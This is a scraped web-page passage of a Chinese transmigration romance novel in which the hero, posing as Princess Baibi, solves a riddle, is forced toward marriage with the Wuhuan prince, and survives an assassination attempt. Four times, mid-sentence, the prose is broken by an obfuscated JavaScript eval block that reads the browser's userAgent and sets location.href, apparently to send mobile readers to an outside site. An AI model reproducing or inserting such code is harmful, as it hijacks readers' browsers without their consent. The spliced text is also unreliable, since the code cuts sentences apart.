奇夷道:“问题是笼子里一共有几只鸡!几只兔子?!” 姬无瑕放肆地大声道:“你们乌桓人外出打猎还能猎到鸡啊?!” 奇夷:“野鸡不行吗?!” 姬无瑕:“那也不对啊!你猎的鸡和兔子都还好端端地站着?不是早该被箭射死了吗?” 奇夷语塞,转头看背后的杜姜。杜姜笑道:“这题是汉人的题目改过来的,汉人家中养鸡养兔子,都是活的,不要在意细节。” 姬无瑕傲然道:“混养也就算了,鸡头和兔头你们分不出来?还得混在一起数?是不是眼瞎?” 奇夷:“……” 奇夷:“不要转移话题!你是不是答不上来?!” 姬无瑕怒吼道:“你小看了物理竞赛保送985的实力!” 萧骁:“什么保送?什么985?” 姬无瑕道:“这不重要……答案不就是三只鸡,两只兔子吗?” 奇夷赶紧算:“三只鸡,一共六只脚,两只兔子,八只脚,这六加八……” 奇夷开始扒拉手指头。可见乌桓人的文化水平真不行,超过了十,就没有手指可扒了。 萧骁赶忙道:“我借你一只手!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503389|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是兄弟二人平生第一次凑在一起,认真地数彼此的手指头。 稍后,奇夷惊叹道:“竟真的是十四!天呐,这普天下最大的难题,竟然被一个来路不明的女奴解出来了!” 姬无瑕:老哥,敢情你就没打算承认我是白璧呗?! 围观贵族也纷纷表示震惊,当即有人两两结队,用手指验算姬无瑕的结果。 奇夷转向背后的杜姜,道:“杜大师,她她她解出来了您的难题!” 又有贵族道:“杜大师这题目,重金悬赏之下,在我族流传三年了都无人能答,今日竟被这女奴答上来了,我愿以我父亲的名字担保,对神山起誓,这女人必然是大周的白璧公主本人!” 杜姜也微笑连连点头,赞叹道:“白璧公主果然冰雪聪明,人中龙凤!” 他又转向四周的乌桓贵族:“其实不必两人结对,手指不够用可以扒拉脚趾。” 于是贵族们恍然大悟,不少人当场开始脱靴子。乌桓人的体毛发达,马靴厚重,这味道嘛…… 坐在老单于旁的巫医马上下场,阻止了一场集体中毒的惨剧发生。 嗯?杜姜明明是男主之一,但却跟着奇夷来的,还帮他提供了个题目?他到底什么立场?姬无瑕心中产生了些许疑惑。杜姜的发言倒也没有站在奇夷一边,更像是唯恐天下不乱,来乌桓吃瓜看热闹的。本来他身为汉人,就不比这帮乌桓蛮子未开化、想到什么说什么。 还没等姬无瑕想明白,奇夷反应过来,自己这一盘已然又是输了。他推开萧骁,走到姬无瑕面前,道:“我姑且认你当白璧了!” 姬无瑕心道,这么痛快?感觉有点假。 上首巫医对老单于耳语,老单于哈哈大笑,对奇夷吩咐了几句话,又对萧骁说。几句问答之后,萧骁单膝跪下,又拉姬无瑕也跪。 姬无瑕:“???” 萧骁解释说:“我父王听说……听说你已有了身孕,让我们明日便成婚……父王认可我与奇夷的赌约,待他魂归神山之后,我便是下一任的乌桓单于,你是未来的大阏氏。” 姬无瑕受了惊吓:“!!!你们不再考虑一下?!” 奇夷也跪在地上,小眼睛闪烁着,对姬无瑕道:“白璧,哼哼,这次算我栽了!我记住你了,你当心点,早晚别落在我手上!” 放完狠话,奇夷就打算起身拂袖而去。 萧骁道:“等等,将传世之剑留下!” “对啊,剑留下啊。”姬无瑕坐回去后,开始啃萧骁那张桌子上放的一碟松子,“这剑很重要吧?是单于继承人的象征?愿赌服输,快拿出来。” 奇夷把剑往地上一扔,“咣啷”一声,却不理睬萧骁,径直指着姬无瑕道:“别看你现在风光,但乌楼渐若是死了,你就是我的人了!” 萧骁冷冷道:“他现在还是我的奴隶,不是我妻子。若是我死了,他会为我殉葬。” 姬无瑕:“……” 你们好歹问问我的意见啊! 老单于喊了奇夷的名字以示警告,奇夷忿忿地走了。 15.萧骁:6 接下来婚事似乎就算敲定,老单于两手张开,大笑着宣布了几句。随着他的话语,帐篷门口开始不断往里进乌桓女子,看装束有披发的少女,也有盘髻少妇,更有衣饰华贵的老妇。她们当众走到姬无瑕面前,逐个向他行礼,每人手里都捧着一样女人用的东西。 “是乌桓贵族成婚的仪式。”萧骁道,“乌桓人以单于家族为尊,单于家嫁娶时,所有贵族都要来献上一件珍贵的礼物。” 姬无瑕穿了件灰扑扑的女奴衣服,当先的少女和少妇们让开一条路,一位晚到的老妇全身戴着沉甸甸的金饰,将一件正红色镶金边的婚服放在姬无瑕面前案上,并对他慈祥微笑。 “这位是我大姑奶奶,我爷爷的姐姐,也是钦琳的奶奶。”萧骁道。 姬无瑕赶忙起身,对这位老奶奶鞠躬道谢。 “大姑奶奶说,”萧骁道,“这是她成婚时穿的衣服,用的是雪山上采来的火焰蚕丝织就,请了江南的织娘,织了整整八年。一晃五十年过去,衣服的颜色还新鲜,但红颜已老。这件衣服正配你的风华正茂,她祝咱们百子千孙,白头偕老。” “最后这两句也是她说的,不是我说的。”萧骁神色有点僵硬,刻意补充道。 姬无瑕哭笑不得,只得顶着老人期待的眼神,恭敬地接过衣服,心下叹了口气。不得不辜负她的期待了,毕竟自己与萧骁怎么都不可能“百子千孙,白头偕老”的,哪一句都不成。 紧接着,又有其他的贵族女子为姬无瑕献上了各种首饰、日常用品如梳子口脂等,满满当当地摆了一桌子。光是各式金属手镯就有好几个,但居然没人送耳环。 姬无瑕摸了摸自己戴的单边耳环,有点纳闷。 最后,钦琳来到他面前,一脸愤恨。姬无瑕道:“姑娘,东西就不用送了,毕竟我抢了你的男人。” 钦琳“啪”地往他脸上扔了一块抹布。 萧骁:“钦琳!” 前面那老奶奶,也就是钦琳的奶奶厉声喝止,钦琳哇的一声哭着跑了。 姬无瑕尴尬地把抹布从脸上摘下来,眉毛上还在往下滴水。 萧骁道:“现在知道厉害了?你成为我的妻子,就成为了所有乌桓少女的情敌。” 姬无瑕道:“说得好像我愿意当你的妻子似的?!你快放我走!” 萧骁道:“你接了大姑奶奶的婚服,已然是算是我的家里人了。” 姬无瑕:“……” 萧骁道:“按乌桓人的规矩,新婚前日小夫妻不能碰面,你得搬出去,不能住在我的帐篷里。” 姬无瑕:“喂喂喂不要自说自话,我还要跟你好好谈谈!” 既然继承人及其婚事都大局已定,帐篷里的气氛重新热络起来,姬无瑕怎么想不重要。数名贵族上来给萧骁敬酒,老单于看着他俩频频点头。萧骁一边喝酒,一边偷眼看姬无瑕。 姬无瑕在一旁生闷气,几次想夺萧骁的酒杯,奈何萧骁身手敏捷,抢不过。 稍后,有人为姬无瑕打包了桌上的所有礼物,连带他本人,送到了半山腰封闭的山洞内,门口有人看守。 姬无瑕:“……你们确定这是新嫁娘住的地方,不是囚牢?” 还真被姬无瑕猜个正着,这里正是一间囚牢。乌桓人有抢亲的习俗,抢来的新娘可不是得关起来嘛,省得逃跑。 “这什么陋习啊!”姬无瑕在山洞中焦虑踱步。 山洞里倒没有想象中的阴冷,地上铺着整块整块的狼皮毯子,烧着火盆,温暖舒适,侧上方有个上了栏杆的圆形孔洞,像开个天窗。 姬无瑕心里郁闷到极致,就算答上来那弱智的题目又如何?还不是被关起来了?最可恨就是萧骁,他身为一个乙游男主完全不听人话!他到底在想什么?!能不能冷静一点,理智一点,大家好好谈谈,送我回去登基不好吗?! 不行!无论如何不能嫁给萧骁!还是得想办法逃跑! 姬无瑕没有察觉到,自己在不知不觉间,还是走上了白璧逃婚那条路。 过了会儿,一个清脆的声音在天窗外响起。 “臭女人!”钦琳恨恨地骂道。 姬无瑕心道,哎,可算来了,你来了我才有办法可想。 姬无瑕矫揉造作地喊:“好妹妹!” 钦琳顿时炸毛了,道:“谁是你好妹妹?!” 姬无瑕道:“我指天发誓,并无强占你的好哥哥乌楼渐的心思,你相信我!” 钦琳半信半疑,但口气缓和了不少,道:“你别以为这样说,我就会放你出去。” 姬无瑕苦口婆心道:“放了我对你只有好处!你想想,如果我跟乌楼渐成婚,你再怎么都只能做小了,你甘心吗?!我要是你,我就只想跟他一生一世一双人。” 钦琳:“……” 钦琳:“你说得也对……” 姬无瑕:“那你想个办法放了我啊!” 钦琳道:“但这样乌楼渐哥哥的妻子逃跑,他就会很丢脸啊!” “别管他丢不丢脸了!”姬无瑕恨铁不成钢,“现在该顾忌的是你自己的未来!” 钦琳又换了个方向不悦:“哥哥到底哪里不好,你这么嫌弃他?!” 姬无瑕道:“好好好,他万般好,只是不爱你……” 钦琳道:“你也只不过是先来几年而已,别以为我不知道,你与哥哥在八岁时就认识了……” 姬无瑕:“?” 还有这一出?自己与萧骁是青梅竹马?白璧不是与公孙衡才是青梅竹马吗? 算了先不细想这个。姬无瑕正待继续PUA钦琳,只见钦琳趴在天窗上,慌张回头,道:“有人来了,我我我先走了!” 姬无瑕:“……” 片刻后,天窗上换了一个人。时越左顾右盼,确认没人后,从天窗扔了一袋包子给姬无瑕。 姬无瑕热泪盈眶,咬了一口,还是牛肉馅的! 姬无瑕感激道:“时越!你真是我异父异母的兄弟!” 时越大惊,道:“我可不敢做王子的小舅子,王妃您言重了!” 姬无瑕白天只嗑了几个单于帐内的松子儿,后来嫌弃硌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518374|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙,就没接着吃,现在饿得前胸贴后背。 “慢点,别噎着。”时越道,“就知道您怀着孩子,容易饿,可别饿到了肚里的孩子。” 姬无瑕:“……” 姬无瑕生吞了三个大包子,胃里暖和和的,顺口向时越打听:“哎你们王子,他以前认得我吗?” 时越思索了一会儿,道:“应该不认得吧?但王子的母亲是周人,他小时候跟母亲在大周生活过一年。” 姬无瑕心想,看来时越不知道具体,不过算了,这八卦也不重要,还是跑路重要。他心里琢磨着,直接劝时越放了自己肯定没戏,还得再用老办法。 姬无瑕先把剩余的包子放好,这可不能浪费,然后扑通倒地,双手掐着自己脖颈,来回打滚,梗着嗓子道:“我,我噎到了,救……命……” 装病这一套对老妈子时越非常管用,时越马上道:“您别急,我来了来了……” 时越“嗖”地闪身,从天窗外消失,料想是绕到洞门口去了。姬无瑕不滚了,原地躺着歇会儿,准备等时越从门进来时再继续。 姬无瑕吃饱了有点食困,耷拉着眼皮。时越咋还不来呼天抢地呢? 他不知眯了多久,突然一个激灵,发现萧骁在天窗外盯着他看。 萧骁来得无声无息,不知在外看了他多久。姬无瑕:“你你你什么时候来的?!” 萧骁道:“你装噎住忽悠时越的时候。” 姬无瑕:“……” 怪不得时越一去不回,害得自己还舒服睡了一会儿。 当下已经是夜里了,姬无瑕从天窗望出去,看到萧骁背后北疆的天空。在这纯粹无污染的时代,星星亮得像近在咫尺,又像编在萧骁的鬓发边。 姬无瑕道:“你怎么来了?我以为你不想跟我谈话。” 萧骁道:“怎么不想?你误会我了。” 姬无瑕道:“萧骁,你到底在想什么?现在你的大单于之位已经到手了,并不需要再娶我啊?” 萧骁道:“我不会放你回中原的。” 姬无瑕苦口婆心道:“我又没让你出兵帮我复国咯?……当然你若是愿意,我会很感激的,我会尽我所能报答你。等我混上了大周皇帝之位,可与你族结成最稳固的同盟,到时候你的族人不必再担心天灾,担心荒年,我们在边境开通商路,两国互通有无,永结兄弟之邦,难道不好吗?” 姬无瑕有着男人共同的毛病,一旦键政起来就停不下来。他在这厢畅谈美好规划,萧骁在窗外默默听着。 姬无瑕道:“还是说,你为我的美色所惑,连族人的前途福祉都不顾了?哎,红颜易老,情情爱爱都是红尘中的一场浮生大梦,不要太在意啦。我也知道我长得是祸国殃民了一点……” 萧骁打断他:“姬无瑕,你明明还记得我,我们小时候认识。” 姬无瑕茫然道:“啊?” 萧骁道:“你在出洛阳城门时,一口就叫出了我的名字。” 姬无瑕:!!!对啊,但这不是因为我记得你,而是因为穿越啊! 16.萧骁:6 姬无瑕心知不能对任何人说穿越的事,否则这个世界的人就会知晓在他们之外,有另一个宇宙,远比这个宇宙立体。到时候他们会怎么看待此事尚未可知,或许会震撼,也或许,会单纯地把姬无瑕当成胡言乱语的疯子。 姬无瑕无奈地看着萧骁。 萧骁道:“我知道你对我的心意,即便你不愿意说出口。其实我对你也是同样的……你是男是女,叫白璧还是叫无瑕,都不重要。你就跟我这十年中每个夜里想象的完全一样……” 姬无瑕焦躁道:“你确定你以前认识我?什么时候?” “难道你只记得我的名字?”萧骁黯然道,“不过那时你还小,记不清楚……倒也寻常。十年前我娘跟父王吵架,一气之下带我回洛阳城过年。上元佳节,我娘抱着我上街看花灯。刚好那时你娘也抱着你,从宫里微服跑出来玩。” 姬无瑕:“……” 萧骁接着道:“那日街上人挤人,五光十色的花灯映得洛阳城像一个美梦,你在梦里走丢了,遇到了我。现在回想起来,为什么那么多人里,你就偏偏遇到了我,我也遇到了你?宫人寻到你之前,你已送了我一个你亲手钉的布娃娃,我送了你我娘的耳坠中的一只……” 卧槽,破案了!姬无瑕惊呆了,萧骁收藏的那布娃娃与耳坠,竟然是我的东西?! 姬无瑕不禁抬手摸了摸自己的耳朵。 萧骁道:“难道不是因为这单只的耳坠,你才只穿了一边耳洞吗?我以为你一直在等我,等我回来接你。” 姬无瑕傻眼:不好意思,你完全误会了…… 萧骁道:“所以奇夷他要跟我打赌,赌白璧公主时,我马上就去了,反正早晚也是要去接你的。” 姬无瑕蹙眉:“奇夷他知道你跟白璧认得?” 萧骁:“是跟你认得。为什么说得好像别人的事?” 姬无瑕正色道:“回答我的问题。” 萧骁道:“他不知道。奇夷与我同父异母,关系向来不睦,我娘不会告诉他,最多只会告诉钦琳。钦琳你也不必担忧,我真的只把她当妹妹……” 姬无瑕道:“那奇夷怎么会跟你打这个赌的呢?难道是误打误撞?” 萧骁思索了一会儿,道:“我觉得可能是那个叫杜姜的汉人商贾出的主意。” 姬无瑕:“???” 姬无瑕努力回忆,游戏中白璧可没在乌桓人这一章见过杜姜。他拢共玩了四章不到的剧情,刚好玩到白璧要登基为女帝的前夜,杜姜在洛阳城中威胁利诱各方势力,为白璧争取支持,并翻天覆地找玉玺那个情节。 然而现在故事刚开了个头,玉玺就出现了。虽然已被萧骁收走,跟哨子放在一处,不在姬无瑕手上,但总归知道下落。与此同时,杜姜也过早地出了场。 对,说到哨子,姬无瑕又想起了那个神秘的瞎子聂染。他不是《白璧传奇》的男主之一,怎么会有这么个人呢? 简直全都乱套了,不过男主就是篮子里的菜,菜在增多,姬无瑕还是喜闻乐见的,只要别个个都想把他关起来就好。 姬无瑕:“这个杜姜是什么来头?为什么要帮助奇夷?” 萧骁道:“奇夷错估了我的实力,本想让我死在大周,姑且不谈,但那个杜姜可不一定。我一直看不透这个人,说是江南巨贾,来塞外做生意的,却从不真的关心毛皮、草药、骏马,只跟各族王公厮混。” 结合杜姜那一身金光四射闪瞎人眼的装扮,姬无瑕心想,倒也是来做生意的,不过收买的不是货物,而是人心。 在这个时间点,白璧公主只是个传说中的美人,还没有登上政治的舞台,杜姜又忠于谁而行动呢? 姬无瑕思索间,萧骁道:“我娘去世以后,就只剩下你这个念想,万幸神山之灵还是指引我找到了你。你不能再离开我了,就算要用武力强留你,我也一定会留。” 姬无瑕叹气:“萧骁,那些往事我真的已经不记得了,不要再为难我。” 这句话虽未明说,却暗含着拒绝的意思。萧骁脸上露出一种难以言喻的表情,像死囚终于得到了最后的宣判。姬无瑕初次见到他时,是万万想不到这位戴金狼面具的倨傲王子也有这种脆弱的时刻。 姬无瑕微微心软了,道:“你既要乌桓单于之位,也要年少之约,世上多的是流离失所、一无所有的人,哪有这么好的事情偏偏让你可以两全其美?” 萧骁道:“不要说了,我偏要试试。” 姬无瑕淡淡道:“你还年轻,等过几年,你就会知道,世事不如人意十之八九。” 萧骁走了,姬无瑕暗自检讨,最后装逼那句不知道装得到不到位,有没有在对方心里留下阵阵回响。 但我最终还是要走的,乌桓不是我的家,大周也不是,整个世界都不是我的家,我的家在遥远的东方…… 姬无瑕落寞地在囚牢里坐着酝酿哀伤的情绪,伴着一大堆大红大紫的喜服首饰。这时,突然天窗边又传来栅栏的敲击声,姬无瑕抬头一看,居然是那不靠谱的乌桓老巫医! “你来做什么?!”姬无瑕惊了。 老巫医照例絮絮叨叨地说了几句,紧接着又掏出了他那招牌小铁碗。 卧槽槽槽!姬无瑕心想,香菜攻击又要来了啊?! 这个碗你到底有多少个?!古代的铁不贵吗?怎么跟不要钱似的往外掏?! 姬无瑕大喊道:“我没中邪啊,不需要驱邪!救命!救命!萧骁快回来救我啊!我爱你,我爱你还不成吗?!你老婆要死于香菜中毒了啊!” 一物克一物,姬无瑕克萧骁,萧骁克巫医,巫医克姬无瑕,三人就像一盘斗兽棋一样形成一个克制循环。 巫医嘿嘿怪笑,点燃了铁碗的内容物,然后将整个碗都从天窗扔了进来。 姬无瑕闪身躲避,将那件萧骁的大姑奶奶送的传世喜服往那铁碗上一盖,将将盖住了冒出的青烟。 巫医:“?” 巫医在外抓耳挠腮了一会儿,姬无瑕提心吊胆,担心他再掏出一只铁碗,但巫医最终还是没有,悻悻地走了。 姬无瑕心想,这一天真的太漫长了,总算是要过去了。过了一会儿,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547255|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点担心铁碗中的余烬将喜服点着了,引起火灾,就打算掀开看看。 这山洞囚牢里没有配晾衣竿,可能因为本来也不打算让新嫁娘在洞里洗衣服。他翻来覆去,只找了一根长长的簪子,捏着鼻子挑开喜服。姬无瑕发现这喜服不愧是什么火焰蚕丝织成的,内里完全没燎坏,还把粉末彻底盖熄灭了。 姬无瑕安心了一点,但粉末还是要盖着,省得香菜味道挥发。 被巫医这么一折腾,姬无瑕的困意烟消云散,打算再看会儿星星再睡。 至于自己明天就要嫁人这件事……俗话说得好,反抗不了就躺下享受。姬无瑕是个很看得开的人,而且他也很年轻,还有很多时间可以挥霍。 天窗外又探出一个人影,挡住了星空。杜姜的声音带着笑意:“公主,漫漫长夜,睡了没?” 姬无瑕绝不会认错他的声音,乌桓山下只有他的汉话说得如此字正腔圆。 他来凑什么热闹?今天都来了几个人了?!这尼玛是新嫁娘待嫁的地方?只怕是农贸市场吧?! “怎么是你?”姬无瑕道。 杜姜说:“人人都来得,就我来不得呢?” 姬无瑕:“我认得你吗?你来干什么?” “从前不认得,这不就认得了?”杜姜道,“我来看看热闹,美人落难,这么大好的热闹我自然要看的。” 姬无瑕本以为杜姜是个外表温润、内心狠辣的人,有他追随,白璧公主就可以安心当一朵纯洁的小白花。现在发现除此之外,杜姜可能还是个杠精。 剧情里白璧是怎么收服他的来着?姬无瑕隐约记得,杜姜是自己来投奔白璧的。姬无瑕不喜欢心眼多的乙游男主,所以对杜姜从来都只爱他的钱。游戏的三个男主里,他还是最中意老实人公孙衡。 但现在若能说服杜姜……他是不是也有能力能救自己?但说服人的诀窍,就要找到他想要的,杜姜想要什么呢? 姬无瑕突然想通了:作为一个乙游的男主,他想要的,不就是自己吗?! 姬无瑕索性不再跟杜姜绕圈子了,开门见山地哀嚎:“你快救我啊我要嫁给萧骁了你不急吗?” 杜姜:“啊?我急什么?” 姬无瑕:“……” 对啊,杜姜急什么?现在杜姜与他的关系只是个萍水相逢的路人啊,又不是游戏后期的谋士vs主公,两人也还没发展感情线,杜姜急啥? 他该不会真的是纯纯来看热闹的吧?! 姬无瑕打感情牌失败,失落地说:“要不这样吧。我是白璧,是大周唯一名正言顺的继承人。咱们谈谈条件,你若是想要钱,或者想要地位,救我出去之后,待我登基之后,我都会尽力帮你实现。” 杜姜道:“我在江阴有整整一座城,城中有三百个各式铺子,车水马龙终日川流不息,歌舞酒宴通宵达旦……” 姬无瑕:“?” 杜姜耐心地说:“你觉得我还会想要什么钱和地位?” 姬无瑕:“……” 杜姜似笑非笑:“现在信我是来看热闹的了?” 17.萧骁:6 月光之下,杜姜白衣宽袖,长相也十分俊美,更有一种闲适的风流气韵。但姬无瑕怎么看怎么觉得牙根痒,想咬人。姬无瑕心道,有本事你最后别栽在我手里,否则把你先OOXX再XXOO…… 杜姜道:“你呀,就安心地嫁给乌桓二王子不好吗?我看你们挺般配的。” 姬无瑕冷冷道:“不救我就算了,说什么风凉话。” 杜姜笑道:“那倒是我的不是了?哎,时辰到了,我要赶紧走了,我来是为了提醒你三件事……” 他凑近了天窗,对姬无瑕小声道:“第一件,最重要的,你记得看他的床底下,千万千万!” 姬无瑕:“?看谁床底下?萧骁?床底下有什么?” 杜姜道:“到时候你就知道了。第二件事,这事没有前面那事重要。” 姬无瑕不悦道:“少卖关子!” 杜姜瞄了一眼桌上的包子:“今天最好少吃点,以免洞房花烛夜出事故。” 姬无瑕:“???” 杜姜四下看了看,道:“第三件事,现在别睡哈,下一位客人马上就来。” 姬无瑕:“!!!” 还有人要来?会是谁?姬无瑕想破了头也想不出来。他灵机一动,心道你们都要来看我,就像看动物园的猴子,难道我还非得待在原地给你们看不成? 想到这里,他就把床上被褥扒开一点,自己钻到了床底下,找好角度,透过床板的缝刚好能看到那个人来人往的天窗。 然而出乎他意料的是,天窗那边并没有再来人。过了半刻钟,反而是门口传来响动,似乎是什么东西倒在地上的声音。 这种闷响多半预示着不祥。姬无瑕游戏经验丰富,马上就想寻个东西防身。然而他东张西望,这房间里除了那根长簪子之外别无他物,簪子也小了点,毫无安全感。 他来不及细想,山洞的门已经被推开了,今晚最后的客人出现在门前。 姬无瑕心中一紧:是奇夷! 奇夷身躯庞大,需要侧身才能进入山洞的小门,而他的到来只可能有一个目的:杀姬无瑕泄愤。 干特么的杜姜,他明知道奇夷要来,却含含糊糊说了好些意义不明的话!姬无瑕心中发冷,杜姜只怕是真想让他死,否则事先告诉萧骁或者乌桓单于就行,不会让奇夷真走到自己面前来。 奇夷进完门,终于能把身子正过来,并将门关上,关紧。姬无瑕看到他手里提着一把匕首,白天见到奇夷时,他所佩的乌桓传世之剑已经被迫交给萧骁了,此时只能拿一把不趁手的武器。 姬无瑕默念道:你看不到我,看不到我。 奇夷进门之后,明显也愣了一下。但山洞里空间并不大,稍后他马上反应过来,姬无瑕要么是跑了,要么就只能躲在床底下。 奇夷满是横肉的脸上露出一丝狞笑。姬无瑕握着簪子,脑中开始模拟奇夷后续的动作,人一般会以什么样的动作捞床底呢? 时间的流动在姬无瑕眼中变得缓慢,姬无瑕屏息,看着奇夷单膝跪到床边,脑袋慢慢地、慢慢地侧着下降。从床底下看去,奇夷先露出了他的下巴,随后是嘴唇、鼻孔,最后是一只单眼……就在那一刻,姬无瑕手握玉簪,对着他的眼球恶狠狠地捅了出去! 奇夷瞳孔收缩,映出簪子的金属微光。姬无瑕“啊”地大叫,把眼一闭,感觉手中的簪子捅到一个软乎乎的东西。 他睁眼看去,发现奇夷在危急中后仰,簪子就这么径直捅进了他的一边鼻孔。 奇夷眼泪都要涌出来了,一瞬间剧痛之下,只张大了嘴,尚未发出呼喊。 姬无瑕心中赶忙跟簪子道歉,捅了这么个脏东西。但喊是不能让奇夷喊出来的,他猜想奇夷不可能是一个人来的,只是因为想要独自体验复仇的快意,才一个人进了山洞。如果让他喊出了这一声,自己肯定死定了,不让他喊还能拖延些时间。 随便来个东西塞住他的嘴!电光火石之间,姬无瑕眼神一扫,发现床边地上,正放着被喜服盖住的巫医牌小铁碗。于是他掀开喜服,反手将碗塞进了奇夷的大嘴里,型号将将好。 奇夷正深吸气,要发出一声喊,却将铁碗中的神秘粉末吸了满嘴,呛咳声先于叫喊声发了出来。姬无瑕趁其满地乱滚咳嗽之际,索性将喜服也一并盖在了他的头上。 于是咳嗽声和断断续续的呜呜声闷在喜服里,听着不甚明显了。奇夷手上匕首乱挥,无瑕又从另一侧无声无息地滚出床底,将床上的大红的喜被统统抛向地上的奇夷。 “让你们非要结婚!自己结去吧!”姬无瑕小声咒骂道。这帮子臭男人,没有一个靠得住的! 奇夷的匕首砍进了被子的棉花胎里,一时间不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573860|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知该先去扯嘴里的碗,还是先捅死姬无瑕这个可恨的小贱人。 那碗趁着他嘴巴张最大的时候用力塞进去,就像网络流传的塞灯泡一样,在里面卡住了,加上喜服的缠绕,一时真的很难取出来;嘴里塞着碗,视线被喜服遮挡,又很难捅到上蹿下跳的姬无瑕。 姬无瑕动作停了下来,站在光秃秃的床板上,发现自己的手也在止不住地发抖。现在地上有一头乱滚的肥猪,虽然他一时半会儿挣脱不了,等冷静下来肯定还是会喊人的。 如果自己下狠手把他弄死……姬无瑕评估了一下,即使不发出太大的声音,大概也只能多活个一时三刻?外面守着的他的手下,是不可能让姬无瑕逃跑的。 今天来了几个人了?求求了要不再来一个吧,就算是那个讨人厌的巫医都行! 姬无瑕叫天天不应,叫地地不灵之时,听到门外一声熟悉的怒吼。 萧骁悲愤地大叫道:“奇夷!你敢动无瑕一根头发,我杀你全家!” 姬无瑕:“……” 姬无瑕:你有没有想过你也是“全家”的一部分?真替老单于担忧。 但救兵总算来了,姬无瑕热泪盈眶,也对着门外怒吼道:“你还知道来?!差点就成功给我收尸了!” 姬无瑕意欲早点跟门外的萧骁会合,可是奇夷在地上滚动的频率实在太快了,他下不去脚。 犹豫片刻,房门发出爆炸一般的声响,萧骁自外侧一脚踹飞房门,门板“咣”的一声巨响,撞到了奇夷脑门上。 太好了!姬无瑕赶紧从床上跳下来,来不及管奇夷死活,踏着门板冲到萧骁怀里。 奇夷这时候才发出了久违的杀猪般的大叫! 萧骁单手将姬无瑕一揽,姬无瑕马上服帖地低头。萧骁贴着他的发顶出刀,一名奇夷手下的刺客霎时人头飞了出去,颈中鲜血狂飙。 姬无瑕吓了一跳,抬头道:“喂你……” 他话未出口,萧骁全身肌肉突然紧绷,以不可抗拒的力量将姬无瑕猛往怀中塞。同一时间,利器破空的锐响呼啸而来,萧骁转身闭目,一根弩箭钉入了他的肩胛! 箭羽在姬无瑕眼前颤抖,如果不是萧骁用身体挡了这一下,这支箭只怕要刺穿姬无瑕的前额! 姬无盯瞳孔不受控制地放大,萧骁一声未吭,将他一扯,道:“走!” 18.萧骁:56 姬无瑕跌跌撞撞地紧贴在萧骁背后。山洞在半山腰上,整个山路两旁都是黑衣的敌人,影影幢幢不知有多少人,树上不断射来弩箭。萧骁右肩受伤,把弯刀交在左手,每向前走一步都要有人惨叫,并溅出一蓬鲜血。 萧骁用身体挡住了敌人的血和乱箭,却挡不了他自己的血。姬无瑕逐渐感到他肩头的血随着发力的动作涌出来,带着奇怪的甜香味。 姬无瑕穿越经验不足,一直到萧骁的动作越来越慢,他才意识到,敌人的箭上带毒。 整个山道上已成修罗场,血肉横飞,几无下脚的余地,姬无瑕差点被尸体绊倒。两人艰难地走了几十步,萧骁用失血干裂的嘴唇吹出一个变了调的口哨。 鹅黄一声划破夜空的嘶鸣,从侧方的树林冲出来,高抬前腿踹翻了两名黑衣刺客。月色如水,勾勒出它雄骏的剪影。 有刺客想上前伤它,被它又起一脚撅飞。 “好孩子。”萧骁小声道,借着鹅黄的保护把姬无瑕托上马。姬无瑕伏在马背上,萧骁反手又砍倒两个围上来的刺客。 “带他走。”萧骁对鹅黄说。他竟不上马,要给姬无瑕断后。 姬无瑕不知从哪里生出来一股天大的火气,怒吼道:“我不走!” 萧骁冷冷地瞥了他一眼,姬无瑕执着地向他伸出手。 萧骁回头,环视一周,见周遭站着的刺客已不多了,剩下的人也被萧骁疯魔一般的眼神所摄,不敢围攻他们。萧骁这才上马,骑在姬无瑕背后,驭马离开。 一棵老树之上,有刺客悄悄对着他们的背影架上弩箭,那箭尖在月光下一闪,刚好闪过姬无瑕的双眼。姬无瑕已经被鲜血冲昏了头,心神巨震,下意识地做出一个口型。 “斩!” 刺客无声无息地跌下树杈,断气了。 卧槽?这是什么牛逼技能?姬无瑕惊了。 “叮”的一声响,系统提示:“金手指‘斩男大法’开启,可免费使用次数一次,已使用次数一次,剩余次数零次。” 